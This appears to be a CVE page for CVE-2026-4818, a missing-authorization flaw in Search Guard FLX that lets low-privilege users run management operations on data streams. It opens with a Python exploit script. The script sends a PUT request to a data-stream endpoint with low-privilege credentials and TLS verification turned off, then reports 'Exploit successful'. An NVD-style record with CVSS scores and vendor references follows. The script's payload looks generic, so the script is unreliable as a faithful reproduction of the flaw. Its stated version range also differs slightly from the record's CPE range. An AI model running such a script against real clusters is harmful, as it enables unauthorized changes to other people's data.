CVE-2026-4818

import requests import json # Target URL (Replace with actual target) target_url = "https://<search-guard-host>:9200/_data_streams/<stream-name>" # Low privilege user credentials username = "low_priv_user" password = "password123" # The vulnerability allows creating/managing data streams without proper authorization headers = { "Content-Type": "application/json" } # Payload to create or modify a data stream (Management Operation) payload = { "match": "*" } try: # Sending request with low privilege credentials response = requests.put(target_url, auth=(username, password), headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200: print("[+] Exploit successful! Management operation executed.") print("Response:", response.text) else: print("[-] Exploit failed or patched.") print("Status Code:", response.status_code) print("Response:", response.text) except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-4818", "sourceIdentifier": "[email protected]", "published": "2026-03-31T16:16:34.580", "lastModified": "2026-04-03T13:56:52.713", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Search Guard FLX versions from 3.0.0 up to 4.0.1, there exists an issue which allows users without the necessary privileges to execute some management operations against data streams."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:search-guard:flx:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "4.1.0", "matchCriteriaId": "0EB4FA3B-8F81-4678-AA9B-8CEFA348E652"}]}]}], "references": [{"url": "https://docs.search-guard.com/latest/changelog-searchguard-flx-4_1_0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://search-guard.com/cve-advisory/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}